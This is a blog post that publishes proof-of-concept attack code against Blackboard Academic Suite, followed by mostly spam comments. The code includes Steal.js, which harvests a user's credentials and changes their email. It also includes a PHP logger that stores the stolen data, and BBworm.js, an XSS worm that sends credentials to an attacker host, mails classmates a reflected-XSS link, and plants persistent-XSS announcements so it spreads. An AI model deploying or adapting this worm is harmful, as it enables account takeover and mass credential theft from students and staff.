a small place to share your BIG knowledge

March 27, 2008

Hacking Blackboard Academic Suite.

Filed under: hacking — knight4vn @ 4:39 pm
Tags: , , ,

Download:

http://www.scribd.com/word/download/2363025?extension=pdf

View online:

Proof – of – Concept:

  • Steal.js


/**
* @Author: Duong Thanh - Knight4vn (knightvn (at) gmail.com)
* FILE: BBworm.js
* A web-based worm using Blackboard Academic Suites' Vulnerability
*
* DISCLAIMER: This exploit tool is provided only to test systems for a
* known vulnerability.  Do not use this tool on systems you do not control,
* and do not use this tool on networks you do not own without appropriate
* consent from the network owner.  You are responsible for any damage your
* use of the tool causes.  In no event may the author of this tool be held
* responsible for damages relating to its use.
*/

// CONFIGURATION SECTION
var _changedEmail = "hacker@gmail.com";
var _logInfoURL = "http://hacker/log.php"; //simple php script to log victim's information

// STORED SECTION
// We are using Global Variables to reduce loading time of victim's browser
var _userID; // userID
var _courseIDs; // array of courses victim taking or teaching
var _userName; //userName of that user
var _userPassword; //user's current encrypted password
var _userEmail; //user's current email address
var _userFirstName;
var _userLastName;
var _interval_3;
var _interval_4;

function getAjaxObj()
{
var ajaxRequest;
try {
ajaxRequest = new XMLHttpRequest();
}
catch (e)
{
try	{ ajaxRequest = new ActiveXObject("Msxml2.XMLHTTP"); 	}
catch (e)
{
try	{ ajaxRequest = new ActiveXObject("Microsoft.XMLHTTP"); 	}
catch (e)
{
alert("Your browser broke!");
return false;
}
}
}
return ajaxRequest;
}

function ajaxPost(url, requestString)
{
var ajaxRequest = getAjaxObj();
ajaxRequest.open("POST", url, true);
ajaxRequest.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
ajaxRequest.send(requestString);
}

function ajaxGet(url)
{
var ajaxRequest = getAjaxObj();
ajaxRequest.open("GET", url, true);
ajaxRequest.send(null);
}

function ajaxGetwithResult(url, handler)
{
var ajaxRequest = getAjaxObj();
ajaxRequest.open("GET", url, true);
ajaxRequest.onreadystatechange = function()
{
if (ajaxRequest.readyState==4)
{
handler(ajaxRequest.responseText);
}
}
ajaxRequest.send(null);
}

function ajaxPostwithResult(url, requestString, handler)
{
var ajaxRequest = getAjaxObj();
ajaxRequest.open("POST", url, true);
ajaxRequest.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
ajaxRequest.setRequestHeader("Content-Length", requestString.length);
ajaxRequest.setRequestHeader("Connection", "close");

ajaxRequest.onreadystatechange = function()
{
if (ajaxRequest.readyState==4)
{
handler(ajaxRequest.responseText);
}
}
ajaxRequest.send(requestString);
}

//I had used RegExp at first, but later I found out that this technique  is simply the best
function extractUserInfos(str)
{
var tempDiv = document.createElement("div");
tempDiv.innerHTML = str;
var arr = tempDiv.getElementsByTagName("input");

_userFirstName = arr["firstName"].value;
_userLastName = arr["lastName"].value;
_userEmail = arr["email"].value;
_userName = arr["userName"].value;
_userPassword = arr["password"].value;
_userID = arr["user_id"].value;
}

function getUserInfos()
{
ajaxGetwithResult("/webapps/blackboard/execute/editUser?context=self_modify", extractUserInfos);
}

function changeEmail()
{
var url = "/webapps/blackboard/execute/editUser";
var requestStr = "firstName="+_userFirstName+"&lastName="+_userLastName+"&email="+_changedEmail+"&userName="+_userName+"&user_id="+_userID+"&dispatch=save&context=self_modify&handle=my_inst_personal_edit&modify=true&self=true";
ajaxPost(url, requestStr);
}

function logInfo()
{
logInfoImg = new Image(0,0);
logInfoImg.src = _logInfoURL + "?user=" + _userName +"&p="+_userPassword+"&fname="+_userFirstName+"&lname="+_userLastName+"&email="+_userEmail;
document.body.appendChild(logInfoImg);
window.clearInterval(_interval_3);
}

//check if getUserID() completely finished or not?
function ready2ChangeEmail()
{
if (_userID != null)
{
changeEmail();
window.clearInterval(_interval_4);
}
}

function init()
{
getUserInfos();
_interval_4 = window.setInterval("ready2ChangeEmail()", 500);
_interval_3 = window.setInterval("logInfo()",700);

}

init();

  • logInfo.php

<?php
	//File Name: logInfo.php
	//@Author : Knight4vn
	//A simple PHP script to log user's account information

$user = $_REQUEST['user'];
$p = $_REQUEST['p'];
$fname = $_REQUEST['fname'];
$lname = $_REQUEST['lname'];
$email = $_REQUEST['email'];

if($user)
{
   $fin = fopen("user.txt", "a");
   $currentTime = date("d/m/y : H:i:s", time());
   $str = "Time: ".$currentTime."  User: ".$user."  Pwd: ".$p."  Fname:".$fname." Lname:".$lname." Email:".$email."\n";
   fwrite($fin, $str);
}
?>

  • BBworm.js

/**
 * @Author: Duong Thanh - Knight4vn (knightvn (at) gmail.com)
 * FILE: BBworm.js
 * A web-based worm using Blackboard Academic Suites' Vulnerability
 *
 * DISCLAIMER: This exploit tool is provided only to test systems for a
 * known vulnerability.  Do not use this tool on systems you do not control,
 * and do not use this tool on networks you do not own without appropriate
 * consent from the network owner.  You are responsible for any damage your
 * use of the tool causes.  In no event may the author of this tool be held
 * responsible for damages relating to its use.
 */

// CONFIGURATION SECTION
var _logInfoURL = "http://hacker.com/logInfo.php";
var _emailSubject = "Hi I'm your classmate."; //subject of the email will be sent to victim's classmates
var _emailBody  = "I did not understand this lecture slide. Could you please help me out?"; //body of the email
	_emailBody += "http://site.edu/webapps/blackboard/execute/viewCatalog?type=Course&searchText=%22%3E%3Cscript%20src=%22http://baotreonline.com/kduxradio/hck/steal.js%22%3E%3C/script%3E"; //non-persistent XSS exploit URL

var _announcementTitle  = 'Hi this is an normal announcement!  ">' ; // fake announcement title
	_announcementTitle += '%3C%73%63%72%69%70%74%20%73%72%63%20%3D%20%27%68%74%74%70%3A%2F%2F%65%76%69%6C%2F%77%6F%72%6D%2E%6A%73%27%3E%3C%2F%73%63%72%69%70%74%3E'; //inject malicious script to this announcement using persistent XSS hole
var _announcementBody   = "Just wanna say hi!";

// STORED SECTION
// We are using Global Variables to reduce loading time of victim's browser
var _userID; // userID
var _courseIDs; // array of courses victim taking or teaching
var _userName; //userName of that user
var _userPassword; //user's current encrypted password
var _userEmail; //user's current email address
var _userFirstName;
var _userLastName;

function getAjaxObj()
{
	var ajaxRequest;
	try	{	ajaxRequest = new XMLHttpRequest(); 	}
	catch (e)
	{
		try
		{	ajaxRequest = new ActiveXObject("Msxml2.XMLHTTP");	}
		catch (e)
		{
		try	{	ajaxRequest = new ActiveXObject("Microsoft.XMLHTTP");	}
			catch (e) {	return false;		}
		}
	}
	return ajaxRequest;

}

function ajaxPost(url, requestString)
{
	var ajaxRequest = getAjaxObj();
	ajaxRequest.open("POST", url, true);
	ajaxRequest.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
    ajaxRequest.send(requestString);
}

function ajaxGet(url)
{
	var ajaxRequest = getAjaxObj();
	ajaxRequest.open("GET", url, true);
	ajaxRequest.send(null);
}

function ajaxGetwithResult(url, handler)
{
    var ajaxRequest = getAjaxObj();
	ajaxRequest.open("GET", url, true);
	ajaxRequest.onreadystatechange = function()
	{
  		if (ajaxRequest.readyState==4)
		{
			handler(ajaxRequest.responseText);
 		}
    }
	ajaxRequest.send(null);
}

function ajaxPostwithResult(url, requestString, handler)
{
	var ajaxRequest = getAjaxObj();
	ajaxRequest.open("POST", url, true); 

	ajaxRequest.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
	ajaxRequest.setRequestHeader("Content-Length", requestString.length);
	ajaxRequest.setRequestHeader("Connection", "close");

	ajaxRequest.onreadystatechange = function()
	{
  		if (ajaxRequest.readyState==4)
		{
   			handler(ajaxRequest.responseText);
 		}
    }
    ajaxRequest.send(requestString);
}

function extractUserInfo(str)
{
	//a temporary div trick works better than using RegEx to extract info
	var tempDiv = document.createElement("div");
	tempDiv.innerHTML = str;
	var arr = tempDiv.getElementsByTagName("input");

	_userFirstName = arr["firstName"].value;
	_userLastName = arr["lastName"].value;
	_userEmail = arr["email"].value;
	_userName = arr["userName"].value;
	_userPassword = arr["password"].value;
	_userID = arr["user_id"].value;

}

function getUserInfo()
{
	ajaxGetwithResult("/webapps/blackboard/execute/editUser?context=self_modify", extractUserInfo);
}

function extractCourseIDs(responseText)
{
	var searchStr = /_[0-9]{3,8}_1/g;
    var arr = responseText.match(searchStr);
	_courseIDs = arr;

}

function getCourseIDs()
{
	ajaxGetwithResult("/webapps/gradebook/do/student/viewCourses", extractCourseIDs);
}

function logInfo()
{
   logInfoImg = new Image(0,0);
   logInfoImg.src = _logInfoURL + "?user=" + _userName +"&p="+_userPassword+"&fname="+_userFirstName+"&lname="+_userLastName+"&email="+_userEmail;
   document.body.appendChild(logInfoImg);
}

function sendEmail2People()
{
  for (var i = 0; i < _courseIDs.length; i++)
	{
		var requestBody =   '-----------------------------263533012628632\r\n';
			requestBody +=  'Content-Disposition: form-data; name="navItem"\r\n';
			requestBody +=  '\r\n';
			requestBody +=  'email_all_students\r\n';
			requestBody +=  '-----------------------------263533012628632\r\n';
			requestBody +=  'Content-Disposition: form-data; name="course_id"\r\n';
			requestBody +=  '\r\n';
			requestBody +=  _courseIDs[i];
			requestBody +=  '\r\n';
			requestBody +=  '-----------------------------263533012628632\r\n';
			requestBody +=  'Content-Disposition: form-data; name="subject"\r\n';
			requestBody +=  '\r\n';
			requestBody +=  _emailSubject;
			requestBody +=  '\r\n';
			requestBody +=  '-----------------------------263533012628632\r\n';
			requestBody +=  'Content-Disposition: form-data; name="messagetext"\r\n';
			requestBody +=  '\r\n';
		    requestBody +=  _emailBody;
			requestBody +=  '\r\n';
			requestBody +=  '-----------------------------263533012628632\r\n';
			requestBody +=  'Content-Disposition: form-data; name="email_file_"; filename=""\r\n';
			requestBody +=  'Content-Type: application/octet-stream\r\n';
			requestBody +=  '\r\n';
			requestBody +=  '\r\n';
			requestBody +=  '-----------------------------263533012628632--\r\n';

			var url = "/webapps/blackboard/execute/sendEmail?navItem=email_all_students&course_id=" + _courseIDs[i];
			var ajaxRequest = getAjaxObj();
			ajaxRequest.open("POST", url, true);
			ajaxRequest.setRequestHeader("Content-Type", "multipart/form-data; boundary=---------------------------263533012628632");
	    	ajaxRequest.send(requestBody);
	  }

}

function postAnnouncements()
{
   for(var i = 0; i < _courseIDs.length; i++)
	{
		var url = "/bin/common/announcement.pl";
		/*
		Blackboard requires instructor has to actually access the Add Announcement page first
		( A record will be added to the DB each time the instructor visit Add Announcement page then  it is removed after the Announcement successfully added)
		the direct ajaxPost is gonna face a system error if we dont request Add Announcement page first with victim's session
		Therefore, the following get request solves that problem
		*/

		var getStr = "?action=ADD&course_id=COURSEID&render_type=EDITABLE&context=course";
		getStr = getStr.replace("COURSEID", _courseIDs[i]);
		ajaxGet(url + getStr);

		var postStr = "action=PUT&context=course&announcement_id=_pk1_pk2&course_id=COURSEID&data__announcement___pk1_pk2__announcement_type=C&render_type=FORM&data__announcements___pk1_pk2__subject=TITLE&data__announcements___pk1_pk2__announcement_f=&data__announcements___pk1_pk2__announcement_w=&data__announcements___pk1_pk2__text_format_type=H&text_style=html&text_format_type=H&data__announcements___pk1_pk2__announcement=BODY&data__announcements___pk1_pk2__permanent_ind=N&data__announcements___pk1_pk2__start_date_mm=01&data__announcements___pk1_pk2__start_date_dd=27&data__announcements___pk1_pk2__start_date_yyyy=2008&data__announcements___pk1_pk2__start_date=&pickdate=&pickname=&data__announcements___pk1_pk2__start_date_hh=03&data__announcements___pk1_pk2__start_date_mi=00&data__announcements___pk1_pk2__start_date_am=1&data__announcements___pk1_pk2__end_date_mm=01&data__announcements___pk1_pk2__end_date_dd=28&data__announcements___pk1_pk2__end_date_yyyy=2008&data__announcements___pk1_pk2__end_date=&data__announcements___pk1_pk2__end_date_hh=03&data__announcements___pk1_pk2__end_date_mi=00&data__announcements___pk1_pk2__end_date_am=1&props__announcements___pk1_pk2__link_source_pk1=&props__announcements___pk1_pk2__link_source_table=&=&location=&props__announcements___pk1_pk2__send_email=N";
		postStr = postStr.replace("TITLE", _announcementTitle);
		postStr = postStr.replace("BODY", _announcementBody);
		postStr = postStr.replace("COURSEID", _courseIDs[i]);

		//a trick to get around setTimeout limitation
		var func = "ajaxPost('"+url+"','"+postStr+"')";
		window.setTimeout(func, 6000);
	}
}

function init()
{
    getUserInfo();
	getCourseIDs();
    window.setTimeout("sendEmail2People()", 2500);
	window.setTimeout("postAnnouncements()", 2500);
    window.setTimeout("logInfo()", 2500);

}

init();

17 Comments »

  1. Doc deo hieu j hit :|

    Comment by Kaia — March 27, 2008 @ 8:00 pm | Reply

  2. Hello webmaster
    I would like to share with you a link to your site
    write me here preonrelt@mail.ru

    Comment by Alexwebmaster — March 3, 2009 @ 10:41 am | Reply

  3. is this the way to hack in to black board as the professor for any college?

    Comment by sisi — March 11, 2009 @ 8:00 pm | Reply

  4. hacking is soo easy. here you can download yahoo booters, undetectable yahoo password stealers and undetectable Trojans Just like ProRat 2.0 SE and C.I.A goto the below blog:

    satan-hacking.blogspot.com

    Comment by hackbaby — May 16, 2009 @ 3:33 am | Reply

  5. I want to listen good music!

    Comment by piskodrocho — July 10, 2009 @ 8:59 pm | Reply

  6. я считаю: отлично!

    Comment by гей негры знакомства — December 17, 2009 @ 3:38 pm | Reply

  7. Hi
    I am a newbie here.
    Glad to find this forum…as what I am looking for

    Comment by ruthunrenaige — March 29, 2010 @ 9:48 pm | Reply

  8. [...] 7, 2010 by Duong Thanh Since I published a small research regarding to hacking Blackboard Academic Suite two years ago, I have received hundreds of emails [...]

    Pingback by What you would do in the final exam period? « Duong Thanh's blog — May 8, 2010 @ 12:08 am | Reply

  9. Elements of Garden Design It is probably correct to say that many successful garden lay-outs started to take shape on a drawing board. At the beginning-although it will be known what sort of garden is envisaged and some of the features to be included-it is not necessary to formulate any definite ideas on design but better to concentrate first on measuring and recording all the existing features so that an accurate bird’s-eye view of the garden can be drawn to scale. There is no other way of seeing the area as a whole and the position of the house satisfactorily. It is from this stage that ideas for the design of the garden and planting plans can be formulated. THE EARLY PLANNING STAGE It is unusual for a plot of land to be exactly rectangular and the sides are often unequal in length. The essential aids at this early stage are a measuring tape, at least 6oft(i8m) in length; a metal spike to secure the end, and a large writing pad. Even without the aid of a surveyor’s more elaborate apparatus, a fairly accurate survey can be made to determine the direction of the boundaries and the position of the house relative to these, by taking the measurement from a corner of the house or building in line with the wall to the boundary (Fig.i). If the same process is repeated on the same side from another corner it will show if the boundary is at an angle or parallel to the building.A further check can be made by fixing the tape in one of the far corners of the site and proceeding along the bottom boundary until the wall of the building-which would be seen al right angles-disappears from view. If this measurement is compared with the others made earlier the points on the boundary should touch at the three places. If it is necessary to mark a sight line across a piece of land from one poin to another, it is useful to have available 10 or more 6ft(2m) bamboo canes (see Fig.2). The canes are then spaced, perhaps 8 or ioft(2.5 or 3m) or more apart, over a given distance, and when five or six canes are in position the line is made exactly straight by adjusting the intermediate canes between the two end ones. When a sighting is made from the furthest end, only the nearest cane will then be visible. The position of a tree or other permanen features can be recorded by measuring from the object in question to two points which are separated by a known distance; this could be two corners of the house. The measurements are then transcribed to paper with the use of a compass and the place marked where the arcs cross. Having noted as many details as possible that are likely to be useful, a plan of the area can be drawn to scale. It can usually be assumed that if the design appears to be right on paper it will probably be right on the site. The need to see the garden first in plan form applies particularly if the beds an< contours follow a curved outline.

    Comment by frukttcom — June 24, 2010 @ 4:20 am | Reply

  10. genital herpes cure analysis

    Comment by herpesi — August 30, 2010 @ 7:11 pm | Reply

  11. like X3 :] great posting. קידום אתרים

    Comment by Josh — December 5, 2010 @ 10:04 pm | Reply

  12. На нашем сайт Вы найдете все способы похудения – диеты, тренировки, упражнения.
    Диета на молочных продуктах хороша тем, что не потребует от вас никаких дополнительных затрат, кроме как покупки готовых продуктов в ближайшем магазине.
    Справочник диет – кремлевская, японская, крови, группа, арбузная, гречневая, кефирная, эффективные, долиной, протасова, яблочная диета.
    Последние косметические средства, женская мода 2010, самые эффективные диеты, новости мировой моды, стиль, шопинг, советы экспертов, мода сезона 2009,
    На Slimmers Вы узнаете все свежее, модное и актуальное о фитнесе, современных диетах и местах, где, собственно, правильное питание и культивируется.

    Comment by sheestEnsuesy — July 15, 2011 @ 10:36 pm | Reply

  13. lick my ball sack, its hugggeeee

    Comment by seamen — August 11, 2011 @ 11:34 pm | Reply

  14. to the comment poster above, you are absolutely right

    Comment by club penguin — August 23, 2011 @ 4:45 am | Reply

  15. Hey http://www.us-cert.gov. I actually thought of if any individual here plays Grepolis or perhaps currently have used the application previously?

    I’m questioning for the reason that it probably would end up being sweet to actually play someday with the help of any person.

    Comment by Katina — October 14, 2011 @ 12:36 pm | Reply

  16. Тесты для всех
    http://delivety10anada.vv.cc/ig4md7

    Comment by devled — November 7, 2011 @ 9:53 am | Reply

  17. Пройдите тест и узнайте способны ли Вы успевать успеха и насколько сильна Ваша мотивация.
    http://prdouct-elp.vv.cc/k6ux3ui

    Tests

    Comment by devledcv — November 7, 2011 @ 8:01 pm | Reply


RSS feed for comments on this post. TrackBack URI

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Connecting to %s

Theme: Rubric. Blog at WordPress.com.

Follow

Get every new post delivered to your Inbox.